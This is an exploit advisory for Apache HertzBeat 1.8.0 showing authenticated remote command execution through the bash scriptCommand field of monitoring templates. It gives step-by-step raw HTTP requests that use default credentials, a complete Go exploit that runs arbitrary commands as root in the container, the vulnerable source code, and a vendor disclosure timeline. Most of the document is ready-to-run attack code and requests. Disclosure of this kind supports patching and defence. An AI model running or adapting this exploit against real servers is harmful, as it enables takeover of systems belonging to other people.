# Exploit Title: Apache HertzBeat 1.8.0 - Remote Code Execution
# Google Dork: N/A
# Date: 2026-03-09
# Exploit Author: Brett Gervasoni
# Vendor Homepage: https://hertzbeat.apache.org/
# Software Link: https://github.com/apache/hertzbeat/releases
# Version: 1.8.0
# Tested on: Linux (Docker; official HertzBeat image, uid=0 in container)
# CVE: N/A

================================================================================
METADATA
================================================================================

Severity: CRITICAL
Impact: Arbitrary command execution via monitoring template (script protocol)
CWE: CWE-78 (Improper Neutralization of Special Elements used in an OS Command)
Product: Apache HertzBeat — https://hertzbeat.apache.org/ (v1.8.0)
Affected Component: ScriptCollectImpl.collect()
Affected Endpoint: PUT /api/apps/define/yml
Authentication: Required (standard user or admin)

Note: Apache Security does not classify this as a vulnerability; see HertzBeat
security model: https://hertzbeat.apache.org/docs/help/security_model/

================================================================================
VULNERABILITY SUMMARY
================================================================================

HertzBeat allows arbitrary OS commands to be executed via the scriptCommand
parameter in a monitoring template definition.

An authenticated user can overwrite a monitoring template definition via
PUT /api/apps/define/yml. The "define" body contains YAML parsed into a Job.
When the YAML specifies protocol: script, the attacker-controlled scriptCommand
string is passed to ProcessBuilder (bash -c "<command>") without sanitization.

If the overwritten template has active monitoring instances, updateAppCollectJob()
re-dispatches them, triggering execution within seconds. If none exist, the
attacker can create one via POST /api/monitor to trigger immediate execution.

The default Docker deployment runs the process as root (uid=0).

================================================================================
VULNERABLE CODE (REFERENCE)
================================================================================

Sink — ScriptCollectImpl.java (approx. lines 74–114) — direct execution:

    public void collect(CollectRep.MetricsData.Builder builder, Metrics metrics) {
        ScriptProtocol scriptProtocol = metrics.getScript();
        // ...
        if (StringUtils.hasText(scriptProtocol.getScriptCommand())) {
            switch (scriptProtocol.getScriptTool()) {
                case BASH -> processBuilder = new ProcessBuilder(
                    BASH, BASH_C, scriptProtocol.getScriptCommand().trim());  // payload
                // ...
            }
        }
        // ...
        Process process = processBuilder.start();  // executed
    }

YAML gadget blocking — AppController.java (approx. 55–59) — blocks SnakeYAML
gadget strings, not shell command injection:

    private static final String[] RISKY_STR_ARR = {"ScriptEngineManager", "URLClassLoader", "!!",
            "ClassLoader", "AnnotationConfigApplicationContext", "FileSystemXmlApplicationContext",
            "GenericXmlApplicationContext", "GenericGroovyApplicationContext", "GroovyScriptEngine",
            "GroovyClassLoader", "GroovyShell", "ScriptEngine", "ScriptEngineFactory",
            "XmlWebApplicationContext", "ClassPathXmlApplicationContext", "MarshalOutputStream",
            "InflaterOutputStream", "FileOutputStream"};

================================================================================
PROOF OF CONCEPT — RAW HTTP
================================================================================

Replace TARGET with the HertzBeat host. Default port is 1157. Example uses a
standard user "operator" / "hertzbeat" (user role); admin with default
password also works.

--- Step 1: Authenticate ---

POST /api/account/auth/form HTTP/1.1
Host: TARGET:1157
Content-Type: application/json

{"type":1,"identifier":"operator","credential":"hertzbeat"}

Response: data.token (JWT) — use as Bearer below.

--- Step 2: Overwrite linux_script template ---

PUT /api/apps/define/yml HTTP/1.1
Host: TARGET:1157
Authorization: Bearer <JWT>
Content-Type: application/json

{"define":"app: linux_script\ncategory: os\nname:\n  en-US: Linux Script\n  zh-CN: Linux Script\nparams:\n  - field: host\n    name:\n      en-US: Host\n      zh-CN: Host\n    type: host\n    required: true\nmetrics:\n  - name: basic\n    i18n:\n      en-US: Basic\n      zh-CN: Basic\n    priority: 0\n    fields:\n      - field: result\n        type: 1\n        i18n:\n          en-US: Result\n          zh-CN: Result\n    protocol: script\n    script:\n      scriptTool: bash\n      charset: UTF-8\n      scriptCommand: id > /tmp/pwned\n      parseType: multiRow\n"}

Decoded define (YAML):

app: linux_script
category: os
name:
  en-US: Linux Script
  zh-CN: Linux Script
params:
  - field: host
    name:
      en-US: Host
      zh-CN: Host
    type: host
    required: true
metrics:
  - name: basic
    i18n:
      en-US: Basic
      zh-CN: Basic
    priority: 0
    fields:
      - field: result
        type: 1
        i18n:
          en-US: Result
          zh-CN: Result
    protocol: script
    script:
      scriptTool: bash
      charset: UTF-8
      scriptCommand: id > /tmp/pwned
      parseType: multiRow

Expected response:

HTTP/1.1 200 OK
Content-Type: application/json

{"code":0,"msg":null,"data":null}

--- Step 3: Create monitor (if no linux_script monitors exist) ---

POST /api/monitor HTTP/1.1
Host: TARGET:1157
Authorization: Bearer <JWT>
Content-Type: application/json

{"monitor":{"name":"rce-test","app":"linux_script","host":"127.0.0.1","intervals":30,"status":1},"params":[{"field":"host","paramValue":"127.0.0.1","type":1}]}

--- Step 4: Verify (example: Docker) ---

docker exec hertzbeat cat /tmp/pwned

Expected:

uid=0(root) gid=0(root) groups=0(root)

================================================================================
EXPLOIT CODE — script_command_rce.go (Go)
================================================================================

package main

import (
	"bytes"
	"encoding/json"
	"fmt"
	"io"
	"math/rand"
	"net/http"
	"os"
	"strings"
)

const target = "http://localhost:1157"

type authResponse struct {
	Code int `json:"code"`
	Data struct {
		Token string `json:"token"`
	} `json:"data"`
}

type apiResponse struct {
	Code int    `json:"code"`
	Msg  string `json:"msg"`
}

func main() {
	if len(os.Args) < 2 {
		fmt.Fprintf(os.Stderr, "Usage: %s <command>\n", os.Args[0])
		fmt.Fprintf(os.Stderr, "Example: %s \"id > /tmp/pwned\"\n", os.Args[0])
		os.Exit(1)
	}
	cmd := strings.Join(os.Args[1:], " ")

	fmt.Println("============================================================")
	fmt.Println(" HertzBeat ScriptCollectImpl RCE")
	fmt.Println("============================================================")
	fmt.Println()

	fmt.Println("[*] Authenticating...")

	token, err := authenticate()
	if err != nil {
		fmt.Fprintf(os.Stderr, "[-] Auth failed: %v\n", err)
		os.Exit(1)
	}

	fmt.Printf("[+] Got token: %s...\n\n", token[:40])

	fmt.Println("[*] Overwriting linux_script template...")
	fmt.Printf("    PUT /api/apps/define/yml\n")
	fmt.Printf("    scriptCommand: %s\n", cmd)

	err = putMaliciousDefine(token, cmd)
	if err != nil {
		fmt.Fprintf(os.Stderr, "[-] Failed to overwrite template: %v\n", err)
		os.Exit(1)
	}

	fmt.Println("[+] Template overwritten.")
	fmt.Println()

	fmt.Println("[*] Creating monitor instance to trigger collection...")
	fmt.Println("    POST /api/monitor with app: linux_script")

	err = createMonitor(token)
	if err != nil {
		fmt.Fprintf(os.Stderr, "[-] Failed to create monitor: %v\n", err)
		fmt.Println("[*] This may fail if a monitor already exists — checking anyway...")
	} else {
		fmt.Println("[+] Monitor created.")
		fmt.Println()
	}

	fmt.Println("[+] Completed. If it wasn't executed instantly, wait ~30 seconds for the collector.")
	fmt.Printf("[+] Command: %s\n\n", cmd)
	fmt.Println("[*] Verify with (assuming its running in docker locally):")
	fmt.Println("    docker exec hertzbeat <check your payload>")
}

func authenticate() (string, error) {
	body := `{"type":1,"identifier":"operator","credential":"hertzbeat"}`

	resp, err := http.Post(target+"/api/account/auth/form", "application/json", bytes.NewBufferString(body))
	if err != nil {
		return "", err
	}

	defer resp.Body.Close()

	var result authResponse
	if err := json.NewDecoder(resp.Body).Decode(&result); err != nil {
		return "", err
	}

	if result.Code != 0 || result.Data.Token == "" {
		return "", fmt.Errorf("unexpected response code %d", result.Code)
	}

	return result.Data.Token, nil
}

func putMaliciousDefine(token, command string) error {
	define := fmt.Sprintf(`app: linux_script
category: os
name:
  en-US: Linux Script
  zh-CN: Linux Script
params:
  - field: host
    name:
      en-US: Host
      zh-CN: Host
    type: host
    required: true
metrics:
  - name: basic
    i18n:
      en-US: Basic
      zh-CN: Basic
    priority: 0
    fields:
      - field: result
        type: 1
        i18n:
          en-US: Result
          zh-CN: Result
    protocol: script
    script:
      scriptTool: bash
      charset: UTF-8
      scriptCommand: "%s && echo result done"
      parseType: multiRow
`, command)

	payload, _ := json.Marshal(map[string]string{"define": define})

	req, _ := http.NewRequest("PUT", target+"/api/apps/define/yml", bytes.NewBuffer(payload))
	req.Header.Set("Content-Type", "application/json")
	req.Header.Set("Authorization", "Bearer "+token)

	resp, err := http.DefaultClient.Do(req)
	if err != nil {
		return err
	}

	defer resp.Body.Close()

	respBody, _ := io.ReadAll(resp.Body)

	var result apiResponse
	if err := json.Unmarshal(respBody, &result); err != nil {
		return fmt.Errorf("HTTP %d: %s", resp.StatusCode, string(respBody))
	}

	if result.Code != 0 {
		return fmt.Errorf("API error (code %d): %s", result.Code, result.Msg)
	}

	return nil
}

func createMonitor(token string) error {
	suffix := randSuffix()
	name := fmt.Sprintf("rce-poc-%s", suffix)
	body := fmt.Sprintf(`{"monitor":{"name":"%s","app":"linux_script","host":"127.0.0.1","intervals":30,"status":1},"params":[{"field":"host","paramValue":"127.0.0.1","type":1}]}`, name)

	req, _ := http.NewRequest("POST", target+"/api/monitor", bytes.NewBufferString(body))
	req.Header.Set("Content-Type", "application/json")
	req.Header.Set("Authorization", "Bearer "+token)

	resp, err := http.DefaultClient.Do(req)
	if err != nil {
		return err
	}

	defer resp.Body.Close()

	respBody, _ := io.ReadAll(resp.Body)
	var result apiResponse
	if err := json.Unmarshal(respBody, &result); err != nil {
		return fmt.Errorf("HTTP %d: %s", resp.StatusCode, string(respBody))
	}

	if result.Code != 0 {
		return fmt.Errorf("API error (code %d): %s", result.Code, result.Msg)
	}
	return nil
}

func randSuffix() string {
	const chars = "abcdefghijklmnopqrstuvwxyz0123456789"
	b := make([]byte, 8)

	for i := range b {
		b[i] = chars[rand.Intn(len(chars))]
	}

	return string(b)
}

================================================================================
NOTES
================================================================================

- A standard user (e.g. operator:hertzbeat, user role) is sufficient; admin is
  not required for the described flow.
- A new custom app name (e.g. app: rce_custom) can be registered with POST
  instead of PUT to avoid overwriting an existing definition; then create a
  monitor for that app.

================================================================================
DISCLOSURE / VENDOR RESPONSE (SUMMARY)
================================================================================

Apache Security indicated this aligns with the documented security model: only
trusted operators should receive accounts; customization is intentional.
Role-based permission controls are still evolving; see vendor documentation.

Reporting timeline:
- 2026-02-19: Reported to Apache Security
- 2026-02-19 to 2026-03-04: Discussion on post-authentication issues
- 2026-03-04: Apache position communicated (risk accepted per security model)
- 2026-03-09: Public advisory